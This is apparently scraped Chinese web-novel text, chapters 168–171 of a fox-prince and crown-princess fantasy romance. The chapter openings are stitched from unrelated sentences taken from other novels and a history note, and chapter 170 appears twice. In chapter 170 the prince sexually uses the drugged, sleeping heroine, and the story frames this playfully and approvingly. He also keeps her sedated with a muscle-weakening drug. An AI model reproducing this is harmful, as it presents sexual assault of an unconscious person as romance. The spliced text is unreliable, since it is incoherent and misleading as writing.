涂山烈暗中下了一盘大棋。他并不想和君羲成婚,把君羲留在身边不过是权宜之计。涂山烈只是想借着君羲身份,谋求合作,同时登上狐王之位,待时机成熟,他会将女人归还大凰。所以他的大礼真的是大礼,差不多掏空了他的家底。他先找的是苏二,其他还有几个备选。但没想到苏二见到礼物后,没有丝毫犹豫就答应了。还咨询苏牧是打成哪种猪头,是膨胀一点,还是紧致一点。从白凤口中挤出这两个字,宁岳顿了顿,似乎想到了什么,突兀的问道。不过更令所有人侧目的是,金龙卫居然有三名弟子进入十六强!这时他们也终于明白,为什么金龙卫带队的会是“生死判”这样返璞归真的大高手了。听到他的话,陈贤又皱起了眉头,仔细看着他,只见其穿着一身灰色劲装,手中拿着一柄雪白宝刀。眼神刚毅,神态威严,两鬓的雪白格外耀眼。口中喃喃自语着,已然消失在原地,尽然是瞬间使出了踏云七步。徐辰见自己的长剑被对方抓住,赶紧将剑刃往上一挑,想趁势割破妖怪的手掌,却不料对方的妖手像是粘在了剑身一般,竟让他的寒冰剑不能动弹半分。转眼间,这道闸门就和岩壁溶为一体,徐辰一拳头打到石壁上竟不见一丝裂纹。至于离地混元草,我火云洞里倒是有,可就这一种也无济于事呀。”赤精子侃侃而谈,如数家珍。哈布斯堡家族从公元十一世纪前后成立以来,在之后的数个世纪,都是通过与欧洲其他重要贵族联姻的方式来扩大影响力。特别是当联姻家族绝嗣时,哈布斯堡家族就得以继承这些绝后家族的封地和政治特权。“这些人目无法纪!”苍剑离指着剩余的天龙战队成员不满的说道。御枫也刚把该说的话说完,这才停下嘴,唇口翕动,惊讶的看着面前的娇俏可人儿。“当然能啦。不仅如此,还可以代表亿万万不忘祖宗、誓死不做亡国奴、有良心的中国人。”朱仕耀说得坚定有力。猿山金次和春日野阵霸慢慢的坐回了沙发,各自将头扭向了左右。人们议论纷纷,整个广场一片沸腾,有人惊叹羡慕,有人直接就破口大骂。林影他们也并没有去阻止,反正人家归心已去,就算拉拢,又能拉拢来多少?何况,自己这边三个大联盟的精英力量齐聚,还怕了他们不成?就在这时候,一阵响亮手机铃声突然从刘零的裤兜里传来,打断了刘零的思考。尽管修为超强,但他显然同样感觉到了危险,脸庞紧绷起来,双手的指缝间寒光闪烁,一把把薄薄的飞刀绕着手指来回转动,做好了随时动手的准备。由于殷贵妃在公众面前一向表现的非常亲和,经常去寺庙为陛下和百姓祈福,还时不时在寺庙施粥救济那些极其贫困的百姓,所以不明真相的百姓并不知道殷贵妃的险恶用心,和那些做过无数次的丧尽天良的坏事。花容、花蕊见状迅速掉头去了桦树下,只见恐惧兽喘着微弱的气息靠在桦树下面,而月儿早就昏了过去。
第一卷 第168章 尾巴残疾了
涂山烈记得,君羲有一个挚爱的夫郎,名叫“溟汐”。鲛人族,朝月。若是他没有对那个西域公主做过什么不轨的,为什么不让菁菁来为他作证呢,但是现在他们俩肯定与黄鹂失踪的事情有关。果然,那三长老和他身边的玄仙,眼中都浮现出恐惧之色,狂叫道。他早就发现了这里的十几头真魔级魔兽,还有包上使和郑上使这两个真魔后期。晶体巨手和法相,没有再凝聚,因为天星老祖认出了这是奇门诛仙阵,真正的仙级阵法,此阵由天地人三奇,结合生、死、伤、杜、中、开、惊、景八门,形成八处类似领域的阵法空间,并且有二十四种变化。哼哼,突然来了自己这么一个大帅比老公,南宫舞一定会幸福的昏过去吧?李阳收起仙船,却看见一个彪悍的男子,拿着两把血色巨斧,冷冷地打量着他们。这时,台下江东大学的学生如同疯了一样,使出了全身的力气,满脸通红的欢呼着。这时,天上的神仙们也已经就位,玉帝也给鹿一凡发了微信,告诉他可以开始了。鹿一凡果断选择了跑到中路的草丛去,蹲下想反掉韩信的蓝爸爸。肌肤雪白,细腻光滑,一张巴掌脸,五官极为精致,身段修长,偏偏前凸后翘。不是他担心可卿不可靠,而是不愿意给可卿增加负担,让她更多地为自己忧心。铁狮通过各层关系,把能调来的车都调来了,却也只有八十来辆。苏阳打了个哈欠,而过了几分钟后,那几个看守拘留室的警察装模作样地走过来,想要查看一下情况,毕竟对于他们而言,得是保证苏阳不出现什么意外才可以。虽然鲁云飞已代替于长老完成了在武林各派门前揭露王生全罪行的使命,但于长老的安危仍是至关重要的。若于长老出了事,丐帮中与王生全抗衡的弟子士气必受重挫。齐阳早已发现灵儿的异样,可以他的身份却是连开口询问的资格都没有,只能默默地陪在灵儿身旁,暗暗心疼。虽然声音不大,但双方人马具是听得真切,佛教一方自然士气高涨,武道教这边却是开始骚动起来,但却也不敢真得做些什么。帝都的宅子,围墙是砖砌的。这个围墙,则是用一些原木围成的木栅栏。妙在所有的原木都是一个品种,粗细也都差不多,所以看上起倒也很顺眼。回到了家里,吴为收拾一下就躺戴上登录器在床上进入了游戏空间,在登录空间选择降临到自己购买的住房之内。梨花和荷花笑闹了一阵子,就见桃花闷闷不乐地走过来,也不说话就挨着沈薇的腿边蹭。他体内如意仙气轰鸣,他的身体就好像是一个烘炉般,不断吞噬周围的灵气,而后转化成仙气。解语天在我耳边说什么,我不知道,只感觉自己此刻脑袋里空空‘荡’‘荡’的,什么都没有,那种感觉真的很玄妙。他在知府等一干官员的陪同下逛完了整个府学,寻找令他熟悉的地方。
第一卷 第169章 羲羲,等着我
君羲不以为然,反正,涂山烈今天受到的刺激太过,不会来盯着她喝药。没人盯着,明知道药有问题,傻子才喝。涂山烈就像君羲肚子里的蛔虫一样,洞悉了君羲的想法。“不乖也没关系,等到王妃喝药的时间,本王回来亲自监督王妃喝药。”妙有道士取出桃木剑,在掌心旋转一圈,木剑缓缓停下,剑尖朝着宅院东南角的方向。叶清清看着沈霆川这速度突然一时间有些不知道该说些什么好了。他现在对这次比武很有信心,唯一遗憾的是,如果能够把比武规则稍稍改一些,改成三人之间的对战那就好了,对于多年之前被兰德斯痛殴的那件事,他一直耿耿于怀。四人的头儿心中大骇,先不说对方可以轻易的阻止自己的攻击,而且对方年纪轻轻,居然会兽族的语言,听起来还一点都不生疏。“我还以为你不会来。”陆云走到苏哈的身边,撞了撞苏哈的肩膀,低声的说道。但已经没有时间去解释了,只见那老汉不由分说,抬起他那枯燥的手指冲着白白的方向一点。雪星然本就想低调参加,为了避嫌,他在三条街道上转了数圈,而后又故意从最东面的街道上兜了一个大圈子,最后才绕到最西面的街道上。只是同样疑惑的是,这些新军虽是大哥的下属,但看起来好像只是听命而已,在他们的心里似乎另有一份忠诚,是臣于别人的。等顾衍离开,她又拿出刚才的主播账号仔细看了看,实在想不出是在哪里见过,她带着疑问把账号输入搜索引擎试着找点线索,突然就看到了前面账号陷入虐待动物舆论的词条。云尘就算有些放松,但是还是不敢大意,哪怕再是新手,这也是个刺客,万一突然暴起,自己难说就要交代在这里。“这是紫云铁,可以炼制出顶级法器!”血剑门弟子兴奋地大喊着,他们一个个手忙脚乱地开始将这些珍贵的材料收集起来。这里,果然有巫神遗民等在山路下,为首的正是前几天给他们通风报信的乌玄羽。一天,萧昊浩前往嘉墨城准备去店铺查看,当他在路上穿过一个树林时,突然感觉到脚下的地面变得越来越不稳定。他立即停下来,警觉地四处搜索,然后他发现了一个隐藏在林中的陷阱。桑桑不知道陆子星是不是一直都这么坏,但是现在陆子星在自己眼里就是一个坏孩子。孙尚香带着这2000兵马一路跑向周瑜,诸葛亮事先摆好的八卦阵中冲去。“那倒不用,隔两年再怀孕,孩子出生后,就跟着长大了。”江平安微笑道。薛甜甜礼貌道谢,掂量了一下手中的物件,就拉着梁晓彤去食堂吃饭。当初要不是她,自己恐怕早就长生了,怎么会像现在一样居无定所,容貌全无?因此,当柯南向保安询问田中喜久惠的事情时,保安表现得极为不配合。在这三天,她做了万全准备。是以,她现在的发型和发色,跟秦茗是一模一样的。程薇薇觉得都23这个年纪了,不可能是真单纯,那就只能是有谋划了,八成是想跟她回家,图她的钱。正常来说,一块属性石头就够一阶石头人一天的正常消耗,而刘栓给他买的这袋属性石头,一共才十块。
第170章 手软腿也软
人算不如天算,涂山烈没有预料到王权不弃和王冰为解救君羲日夜奔袭,比他预想的要早到一天。
人已经在环境中,涂山烈却并不打算现在放他们进来。
明日就是他和君羲的大婚之日,涂山烈希望王权不弃等人在合适的时机出现。
“王爷,怎么处理?”
涂山烈站起身来,将泾渭分明的两盒棋子盖上盖子,眼不见心不烦。
平稳了下心中思绪后,涂山烈对狐越道:
“今夜只能劳烦王权侧夫和王大人在环境中待着了,狐越,你带人守住出口,明日才能放他们进入狐族领地。”
狐越领命下去。
“喏,王爷,属下必不辱使命。”
外面的暴风雪愈发大了,涂山烈生于十万雪山,十万雪山中,常年风雪肆虐,涂山烈早就习惯了窗户喧嚣吵闹的风雪声。
但今日,涂山烈竟觉得窗外的风雪声实在是扰人心烦,他走到窗边,用力推开轩窗。
冰冷的寒风和雪花一股脑涌入屋内,也让涂山烈思绪冷静了些。
男人高大的身躯立在床边,冰蓝色的眸深了深,看向被风雪吹打得四处乱飞的枝桠。
“今夜,怕是不好过吧。”
涂山烈在心中唾弃自己卑劣,居然起了公报私仇的心思。
刚刚那番吩咐,除了防止计划出现变故外,涂山烈还有一个私心,就是想报复王权不弃。
没理由好不容易能入了他眼的女子,王权不弃就能正大光明、理所应当地拥有,而他涂山烈,却只能选择放手。
至于王权不弃能不能熬过环境中的暴风雪,涂山烈倒不担心。
好歹也是暗阁第一杀手,天底下数一数二的高手。
顶多就是吃些苦头,不会有性命之忧。
在窗边看了一会儿,涂山烈忽然想起,按照礼制,今夜,他应当试穿新郎服饰。
君羲也该提前挑选饰品,脂粉,以示对明日大婚的重视。
“王爷,婚服到了,您现在可要试穿?”
狐霄手中端着一个木质精致雕花托盘,托盘上放着红色夺目繁复的婚服,是狐族亲王的规格。
涂山烈瞥了一眼,这婚服做得好看,他不由得在脑海中想象,君羲换上婚服该是什么模样。
她长了一张绝美无双的脸,想必,这狐族亲王妃的婚服更能衬托得女人风华绝世……
涂山烈心中懊恼,他怎么又开始想君羲了?
他和君羲不过相处短短几天而已,怎么就如此难以割舍、难以忘怀?
“不必。”
狐霄心中为涂山烈点赞,真不愧是王爷,就是意志坚定,大婚前一夜,还在埋头处理公文。
男女情爱之事,根本就不会影响王爷决定。
“王爷,那属下就先退下了。”
反正这婚服是按照王爷身材尺寸定做的,不试穿,也大差不差。
王爷也没想真正同大凰太女成婚。
否则,也不会做暗地里一系列布置。
王爷,自始至终,眼中都只有狐王之位。
狐霄都有些同情君羲了……
“等等,把婚服放桌上,明日本王直接穿上去婚礼现场。”
狐霄顿住往外的步伐,想了想,王爷说得有道理啊!
反正明日大婚都要穿的,放在王爷书房,还能省时又省力。
“王爷,婚服属下就放你桌上了。”
涂山烈看都没看红色描金婚服一眼,目不转睛盯着手中的公文。
也就是狐霄脑子里差一根弦,都没注意到,涂山烈公文都拿反了!
等到狐霄出去,确认外面没有一点动静,不会有人来打扰之后,涂山烈放在手中倒着的公文,骨节分明,修长如玉的手搭在婚服上,细细描摹上面精致繁复的花纹。
涂山烈心里突然有一个冲动,明日不如就假戏真做,真的同君羲拜堂成亲,就算之后分开了,他们也算得上拜过天地的合法夫妻。
刚这样想,涂山烈就连忙打断自己思绪。
不可!
他在心中告诫自己,千万不能意气用事。
要是婚礼成了,君羲就有充分的理由带走他。
那狐族王位,就和涂山烈彻底无缘了。
这不是涂山烈想要看到的结果。
透过白色的窗户纸,昏黄的烛火将男人换衣的影子投射其上。
涂山烈宽肩窄腰,不是薄肌,相反,他的身材显得魁梧有力,像一头健壮勇猛的野兽。
每一块肌肉都充斥着爆发力,这是在战场上厮杀磨砺出来的气质,很难复制。
婚服很合身,将男人的好身材全数遮掩,只待明晚新娘揭晓……
这一夜,涂山烈失眠了。
他穿着婚服躺在床上,双手枕在脑后,酝酿睡意,企图入睡。
一个时辰后,涂山烈猛地睁开眼,烦躁地坐起身。
“该死的风。”
呼呼呼地吹,吹得他耳根子不清静,根本就睡不着。
涂山烈依然十分嘴硬,不愿意承认他就是因为明日要和君羲成婚的缘故,才辗转反侧,难以入眠。
“狐青。”
没有回应,涂山烈又喊了一声。
“狐越。”
还是没反应,涂山烈慢吞吞下了床,整理抚平婚服上的皱褶,决定去满春院看看君羲。
君羲可会像他一样睡不着?
当然,最关键的是,他得监督君羲有没有按时喝药。
涂山烈盯着风雪往满春院方向去。
君羲这几日,记忆断断续续在她脑海中浮现,尤其是做梦的时候,那些记忆碎片更是在梦中不断盘旋,拼接出一些较为完整的画面。
前世今生,君羲已经不是第一次大婚。
算起来,顾景行才是她第一个八抬大轿娶进东宫的男人。
之后的慕夜声、王权不弃、溟汐,婚礼都比较简单,只是略微操办了一下,就一顶喜轿抬进了东宫。
娶涂山烈、白渊,因为是国与国之间的和亲,象征着和平,所以比较隆重。
新婚夜,君羲也是经历过太多了。
所以,君羲睡得可香了。
涂山烈悄无声息进入房中,君羲都不曾察觉。
倒不是君羲警惕性变差了,而是她喝了药,所以五感不灵敏了。
“你倒是睡得着。”
男人立在君羲在床头,凝视着君羲香甜的睡颜,有几分冷意开口道:
“也是,大凰太女已经有了四位夫郎,怎么在婚前紧张。”
涂山烈想将君羲弄醒,大手刚要捏上女人的脸颊,就猛地收回。
他这样实在是太过幼稚了,就好像,君羲在自己心里地位多重要一样!
“哼。”
或许是深夜人的情绪总是不能自控,加上现在房中只有他和君羲二人,没有旁人在。
君羲还睡着了,他就算说些什么过界的话,做些什么越界的事情,也无人知晓。
涂山烈看了一会儿,忽然有了动作。
“不能便宜了你。”
君羲摸了他的耳朵和尾巴,涂山烈却没在君羲身上讨得便宜。
涂山烈很不甘心,想到捡到君羲那天,女人脖子和锁骨上的暧昧红痕,心里不是滋味。
同时,他心底也冒出了争强斗胜的想法。
白渊这条不要脸的蛇行事虽然偏激了些,但不可否认的是,他得到了想要的人。
没理由,他和白渊同为君羲当然未婚夫,他就要憋着啊。
黑夜里潜藏着的野兽欲望苏醒,君羲房中烛火全熄,涂山烈放下床帐,周围环境更是黑得伸手不见五指。
他变出狐耳和狐尾,尾巴和双手一同动作,十分灵活,很快,女人和男人就坦诚相见了。
涂山烈还是第一次见这样活色生香、软玉温香的场面,狐耳不争气地竖起又趴下,趴下又竖起……
如此反复,没有停息。
“别动了。”
涂山烈心里暗骂自己没出息,不就是一点小场面吗,他是男人,有什么好害羞的?
他伸手探向女人纤细的腰肢,这才发觉,原来女子的腰可以细到这种地步,他一只手就能握住。
涂山烈脸越来越红,随着动作,脖颈青筋暴起,汗湿了额前的墨发。
“呼——”
他重重喘气,望向眉头皱起的君羲,抬手抚平女人的眉心。
“皱眉做什么,之前不是很喜欢摸本王的耳朵和尾巴吗?”
现在怎么一副不堪承受的样子?
“算了,放过你了。”
他小心翼翼撩开床帐,外面熹微的晨光投进屋内,算了算时间,该是喜婆要来唤新娘起床梳洗了。
涂山烈心虚地替君羲擦干净身体,又给女人换上新的裘衣裘裤。
幸好,他当时给君羲挑选裘衣裘裤的时候嫌麻烦,全部选的一个款式,除了颜色上有差别外,别的都一模一样。
涂山烈悠然离去。
君羲在喜婆的呼喊下醒来。
“唔……什么时辰了?”
喜婆知道,眼前这位小娘子,可是烈王的心头宠,万万不能怠慢,她圆盘似的脸笑眯眯的,显得和善可亲。
“回王妃的话,现下已是卯时。”
君羲眉心微蹙,她昨夜怎么睡得那么沉?而且,感觉身体很疲累。
她这几日,除了在烈王府中走走看看,查探守备情况外,没做什么体力活啊?
怎么手软腿也软?
这不符合常理。
但,现在可没有时间让君羲思考,喜婆催促道:
“王妃,再不起床梳洗,恐怕会误了吉时,不若起身?”
……
人算不如天算,涂山烈没有预料到王权不弃和王冰为解救君羲日夜奔袭,比他预想的要早到一天。
人已经在环境中,涂山烈却并不打算现在放他们进来。
明日就是他和君羲的大婚之日,涂山烈希望王权不弃等人在合适的时机出现。
“王爷,怎么处理?”
涂山烈站起身来,将泾渭分明的两盒棋子盖上盖子,眼不见心不烦。
平稳了下心中思绪后,涂山烈对狐越道:
“今夜只能劳烦王权侧夫和王大人在环境中待着了,狐越,你带人守住出口,明日才能放他们进入狐族领地。”
狐越领命下去。
“喏,王爷,属下必不辱使命。”
外面的暴风雪愈发大了,涂山烈生于十万雪山,十万雪山中,常年风雪肆虐,涂山烈早就习惯了窗户喧嚣吵闹的风雪声。
但今日,涂山烈竟觉得窗外的风雪声实在是扰人心烦,他走到窗边,用力推开轩窗。
冰冷的寒风和雪花一股脑涌入屋内,也让涂山烈思绪冷静了些。
男人高大的身躯立在床边,冰蓝色的眸深了深,看向被风雪吹打得四处乱飞的枝桠。
“今夜,怕是不好过吧。”
涂山烈在心中唾弃自己卑劣,居然起了公报私仇的心思。
刚刚那番吩咐,除了防止计划出现变故外,涂山烈还有一个私心,就是想报复王权不弃。
没理由好不容易能入了他眼的女子,王权不弃就能正大光明、理所应当地拥有,而他涂山烈,却只能选择放手。
至于王权不弃能不能熬过环境中的暴风雪,涂山烈倒不担心。
好歹也是暗阁第一杀手,天底下数一数二的高手。
顶多就是吃些苦头,不会有性命之忧。
在窗边看了一会儿,涂山烈忽然想起,按照礼制,今夜,他应当试穿新郎服饰。
君羲也该提前挑选饰品,脂粉,以示对明日大婚的重视。
“王爷,婚服到了,您现在可要试穿?”
狐霄手中端着一个木质精致雕花托盘,托盘上放着红色夺目繁复的婚服,是狐族亲王的规格。
涂山烈瞥了一眼,这婚服做得好看,他不由得在脑海中想象,君羲换上婚服该是什么模样。
她长了一张绝美无双的脸,想必,这狐族亲王妃的婚服更能衬托得女人风华绝世……
涂山烈心中懊恼,他怎么又开始想君羲了?
他和君羲不过相处短短几天而已,怎么就如此难以割舍、难以忘怀?
“不必。”
狐霄心中为涂山烈点赞,真不愧是王爷,就是意志坚定,大婚前一夜,还在埋头处理公文。
男女情爱之事,根本就不会影响王爷决定。
“王爷,那属下就先退下了。”
反正这婚服是按照王爷身材尺寸定做的,不试穿,也大差不差。
王爷也没想真正同大凰太女成婚。
否则,也不会做暗地里一系列布置。
王爷,自始至终,眼中都只有狐王之位。
狐霄都有些同情君羲了……
“等等,把婚服放桌上,明日本王直接穿上去婚礼现场。”
狐霄顿住往外的步伐,想了想,王爷说得有道理啊!
反正明日大婚都要穿的,放在王爷书房,还能省时又省力。
“王爷,婚服属下就放你桌上了。”
涂山烈看都没看红色描金婚服一眼,目不转睛盯着手中的公文。
也就是狐霄脑子里差一根弦,都没注意到,涂山烈公文都拿反了!
等到狐霄出去,确认外面没有一点动静,不会有人来打扰之后,涂山烈放在手中倒着的公文,骨节分明,修长如玉的手搭在婚服上,细细描摹上面精致繁复的花纹。
涂山烈心里突然有一个冲动,明日不如就假戏真做,真的同君羲拜堂成亲,就算之后分开了,他们也算得上拜过天地的合法夫妻。
刚这样想,涂山烈就连忙打断自己思绪。
不可!
他在心中告诫自己,千万不能意气用事。
要是婚礼成了,君羲就有充分的理由带走他。
那狐族王位,就和涂山烈彻底无缘了。
这不是涂山烈想要看到的结果。
透过白色的窗户纸,昏黄的烛火将男人换衣的影子投射其上。
涂山烈宽肩窄腰,不是薄肌,相反,他的身材显得魁梧有力,像一头健壮勇猛的野兽。
每一块肌肉都充斥着爆发力,这是在战场上厮杀磨砺出来的气质,很难复制。
婚服很合身,将男人的好身材全数遮掩,只待明晚新娘揭晓……
这一夜,涂山烈失眠了。
他穿着婚服躺在床上,双手枕在脑后,酝酿睡意,企图入睡。
一个时辰后,涂山烈猛地睁开眼,烦躁地坐起身。
“该死的风。”
呼呼呼地吹,吹得他耳根子不清静,根本就睡不着。
涂山烈依然十分嘴硬,不愿意承认他就是因为明日要和君羲成婚的缘故,才辗转反侧,难以入眠。
“狐青。”
没有回应,涂山烈又喊了一声。
“狐越。”
还是没反应,涂山烈慢吞吞下了床,整理抚平婚服上的皱褶,决定去满春院看看君羲。
君羲可会像他一样睡不着?
当然,最关键的是,他得监督君羲有没有按时喝药。
涂山烈盯着风雪往满春院方向去。
君羲这几日,记忆断断续续在她脑海中浮现,尤其是做梦的时候,那些记忆碎片更是在梦中不断盘旋,拼接出一些较为完整的画面。
前世今生,君羲已经不是第一次大婚。
算起来,顾景行才是她第一个八抬大轿娶进东宫的男人。
之后的慕夜声、王权不弃、溟汐,婚礼都比较简单,只是略微操办了一下,就一顶喜轿抬进了东宫。
娶涂山烈、白渊,因为是国与国之间的和亲,象征着和平,所以比较隆重。
新婚夜,君羲也是经历过太多了。
所以,君羲睡得可香了。
涂山烈悄无声息进入房中,君羲都不曾察觉。
倒不是君羲警惕性变差了,而是她喝了药,所以五感不灵敏了。
“你倒是睡得着。”
男人立在君羲在床头,凝视着君羲香甜的睡颜,有几分冷意开口道:
“也是,大凰太女已经有了四位夫郎,怎么在婚前紧张。”
涂山烈想将君羲弄醒,大手刚要捏上女人的脸颊,就猛地收回。
他这样实在是太过幼稚了,就好像,君羲在自己心里地位多重要一样!
“哼。”
或许是深夜人的情绪总是不能自控,加上现在房中只有他和君羲二人,没有旁人在。
君羲还睡着了,他就算说些什么过界的话,做些什么越界的事情,也无人知晓。
涂山烈看了一会儿,忽然有了动作。
“不能便宜了你。”
君羲摸了他的耳朵和尾巴,涂山烈却没在君羲身上讨得便宜。
涂山烈很不甘心,想到捡到君羲那天,女人脖子和锁骨上的暧昧红痕,心里不是滋味。
同时,他心底也冒出了争强斗胜的想法。
白渊这条不要脸的蛇行事虽然偏激了些,但不可否认的是,他得到了想要的人。
没理由,他和白渊同为君羲当然未婚夫,他就要憋着啊。
黑夜里潜藏着的野兽欲望苏醒,君羲房中烛火全熄,涂山烈放下床帐,周围环境更是黑得伸手不见五指。
他变出狐耳和狐尾,尾巴和双手一同动作,十分灵活,很快,女人和男人就坦诚相见了。
涂山烈还是第一次见这样活色生香、软玉温香的场面,狐耳不争气地竖起又趴下,趴下又竖起……
如此反复,没有停息。
“别动了。”
涂山烈心里暗骂自己没出息,不就是一点小场面吗,他是男人,有什么好害羞的?
他伸手探向女人纤细的腰肢,这才发觉,原来女子的腰可以细到这种地步,他一只手就能握住。
涂山烈脸越来越红,随着动作,脖颈青筋暴起,汗湿了额前的墨发。
“呼——”
他重重喘气,望向眉头皱起的君羲,抬手抚平女人的眉心。
“皱眉做什么,之前不是很喜欢摸本王的耳朵和尾巴吗?”
现在怎么一副不堪承受的样子?
“算了,放过你了。”
他小心翼翼撩开床帐,外面熹微的晨光投进屋内,算了算时间,该是喜婆要来唤新娘起床梳洗了。
涂山烈心虚地替君羲擦干净身体,又给女人换上新的裘衣裘裤。
幸好,他当时给君羲挑选裘衣裘裤的时候嫌麻烦,全部选的一个款式,除了颜色上有差别外,别的都一模一样。
涂山烈悠然离去。
君羲在喜婆的呼喊下醒来。
“唔……什么时辰了?”
喜婆知道,眼前这位小娘子,可是烈王的心头宠,万万不能怠慢,她圆盘似的脸笑眯眯的,显得和善可亲。
“回王妃的话,现下已是卯时。”
君羲眉心微蹙,她昨夜怎么睡得那么沉?而且,感觉身体很疲累。
她这几日,除了在烈王府中走走看看,查探守备情况外,没做什么体力活啊?
怎么手软腿也软?
这不符合常理。
但,现在可没有时间让君羲思考,喜婆催促道:
“王妃,再不起床梳洗,恐怕会误了吉时,不若起身?”
……
第171章 舍不得放手
君羲有种不真实的感觉,无论是上一世还是这一世,她所有娶夫郎的记忆,都是夫郎们早起,梳洗打扮,她在骑着高头大马,意气风发前去迎娶。
如今,流程反过来了,还怪不习惯的。
“行,我这就起。”
君羲起身的动作,让领口敞开了些许,喜婆看到了片片暧昧痕迹,连忙低下头。
心里叫苦不迭,她好像发现了什么不得了的秘密!
准烈王妃昨夜究竟做什么去了,喜婆是过来人,她只一眼就看出,君羲脖子上的红痕是男人吻出来的。
喜婆更知道一个道理,知道了不该知道的,往往就活不长久了。
所以,她决定装聋作哑,忘记刚刚看到的一切。
万一,这痕迹就是烈王弄的呢?皆大欢喜。
不是,那烈王发现真相,大发雷霆时也迁怒不到她头上。
相反,若是喜婆主动告发,君羲有没有事另说,她撞破了烈王丑事,焉能有命在?
“娘娘,您这边移步。”
喜婆弓着身子,在前方替君羲引路。
君羲刚一下地,腿就软了一下,好在喜婆搭了手,不然,她怕是要出丑了。
这种感觉不是第一次了。
东方炽、东方凌、溟汐……他们三个都做过这种事情。
哦,差点忘了,还有一个白渊。
白渊手段不光彩,但也是这么个调调,有时候就喜欢趁着她睡着,动手动脚。
所以,她这样子和涂山烈有关?
君羲在心中大胆猜测,但这不可能啊,涂山烈摆明了对她不感兴趣,一切举动,都是基于利益。
君羲想得头疼,也没想出个所以然来。
她现在身处烈王府,白渊手伸不了那么长,东方炽、东方凌、溟汐他们呢,又都不在身边。
排除一切不可能选项后,最后的答案再怎么匪夷所思,也一定就是真相。
君羲唇角勾起,看来,她这段时间的欲拒还迎、时冷时热,很有效果嘛。
“王爷呢?”
喜婆哪里知道烈王的下落,本以为这一趟是个好差事,不曾想,一个不小心,似乎看到了不该看的。
喜婆战战兢兢,生怕小命不保。
喜婆心中越是恐惧,对君羲就越发知无不言、言无不尽。
万一,她刘桂花真的被烈王判罪了,讨好君羲,说不定还能有转机啊。
“王妃,王爷最是疼你,想必现在正在试穿婚服呢。”
君羲并不感兴趣,她不过是随口一问而已。
涂山烈若不在,那待会儿,每日一碗加了强效软筋散的药,就有机会倒掉了。
君羲在喜婆的指挥下,就像一个乖顺的木偶人,让抬脸就抬脸,让抬手就抬手,乖巧得不行。
喜婆还在心中纳闷,怎么新王妃看上去不太高兴的样子。
君羲:想事情。
喜婆:新王妃是被烈王强取豪夺的,所以才像行尸走肉。
不得不说,刘桂花脑洞非常大,还误打误撞猜对了。
风水轮流转,君羲这个强取豪夺的老手,总算也是在白渊和涂山烈身上栽了跟头。
至于以前和溟汐、东方他们,那是君羲故意放纵的结果,属于夫妻情趣。
“王妃,您的药好了,王爷吩咐属下一定要盯着你喝下去。”
来的人是狐霄,狐霄端着一碗黑乎乎的药。
君羲这段时间喝了太多次,光是闻一闻,便知道,还是一样的配方。
她眼珠子滴溜溜一转,计上心头。
她忽悠不了涂山烈,还忽悠不了狐霄?
“可是,本王妃有些反胃,不舒服。”
呼狐霄不为所动,就像一个执行命令的冰冷机关人,嘴巴一张,重复道:
“王妃,您的药好了,王爷吩咐属下一定要盯着你喝下去。”
君羲:……
君羲可不打算喝药,今日,很关键。
涂山烈不在这里,没有人能强迫她喝药。
狐霄可没那个胆子强行灌她喝药。
君羲站起身来,展示不堪盈握的腰肢,腰肢本就极细,现在被一根红色凤纹腰带束住,更加细了。
要是溟汐看到,定然会心疼,心疼君羲没有好好吃饭,瘦了好多。
溟汐……
君羲脑海中一个激灵,所有记忆就像触碰到了关键钥匙一样,她脑海中又出现一个名字——
顾景行。
“疼。”
君羲七分是演戏,三分是真实情绪。
素手捂着前额,大拇指不停在太阳穴处揉捏,额上还有冷汗冒出。
喜婆一下就慌了,眼看新郎官就要来接人了,关键时刻,就掉链子了!
“王妃,王妃,你没事吧?哪里疼?”
狐霄也被吓到了,有些无措,他刚刚似乎没有做什么吧,怎么突然就这个样子了?
“王妃……”
君羲一脸坚强地站起身来,惨白着一张脸,微微笑道:
“我没事,继续。”
狐霄抿了抿唇,早知道,他就不替涂山烈走着一趟了。
王爷回去以后,自己害羞躲起来了,把烂摊子交给他收拾,他真的奈何不了君羲啊。
君羲是主子,他是奴才,身份上天然就存在高下之分。
更何况,王爷似乎对君羲的态度也十分暧昧,说他不喜欢吧,他又在某些时候莫名其妙心情不好,说他喜欢吧,又忍心给君羲下药,最后还要把君羲还回去。
狐霄现在也很懵,不知道涂山烈究竟什么意思。
不过,以后是以后,王爷和王妃的以后,自有王爷忧心,他根本不用想那么多。
“王妃,那这药……”
啪嗒!
碗碎了,黑乎乎的药汁流淌一地,散发出浓浓的中药味儿。
君羲一脸无辜,有些害怕道:
“啊,怎么办,我、我不是故意的。”
她甚至还有精力关心狐霄。
“刚刚我就是突然站不稳,脚软了,狐霄,你没事吧,有没有烫到?”
狐霄死死盯着地上的一摊药水,面无表情,内心却快崩溃了。
任务失败了!
这么简单的任务,他失败了。
狐霄只觉得,他的太难都塌了。
“我、我没事。”
君羲心中得意,可算是找到机会把药撒了,只要待会跑得够快,涂山烈就没机会逮到她喂药。
没有了强效软筋散挟制,君羲内力很快就能恢复,倒是,逃离十万雪山,不是轻轻松松吗?
就在君羲得意时,外面传来涂山烈的声音。
“王妃可真是调皮,把狐霄都吓到了,该罚。”
君羲瞳孔放大,一脸难以置信,涂山烈,他居然手里面,还拿着一碗药。
药还热腾腾冒着气,一看就是刚刚熬好的。
君羲:……
她该说些什么好呢?
君羲脑海中掀起风暴,涂山烈来得也太巧了。
巧到让君羲觉得,涂山烈时不时一直在暗中监视着她?
“王爷!”
喜婆一声尖叫,把涂山烈和君羲都吓了一大跳。
“王爷,现在你和王妃还没有成婚,婚前不能见面的,见面不好。”
刘桂花发誓,涂山烈就是她接过的,最让她头疼的人。
涂山烈根本不在意这些礼教的条条框框,他只知道,如果在不介入,君羲恢复内力了,第一时间就会跑的。
某种情况下,也许,会有很多人牺牲。
他警告般扫了喜婆一眼。
“本王自有分寸,还不退下?”
喜婆浑身一颤,被吓到了,连忙退出屋内。
涂山烈必须防患于未来,将所有不利因素全部除掉。
“王妃,怎么还不喝药?”
君羲找借口回答涂山烈。
“王爷,这碗药太烫了,我现在不想喝嘛。”
“等拜完堂,我就喝,喝得一滴不剩好不好?一定不会辜负王爷。”
涂山烈眼睛一眯,君羲已经按捺不住了吗?
刚刚收到消息,王权不弃和王冰已经离开了幻境,现在,所有人,都在朝着涂山烈王府方向进行。
“王妃,待会儿有熟人过来,您可要亲自过问参会人选清单?”
君羲当然是求之不得,了解得越多,她就越有把握逃出去。
“好啊,那就麻烦王爷了。”
涂山烈摇了摇头,在喜婆惊吓的眼神中,越发靠近君羲,拿掉她挡住脸的却扇。
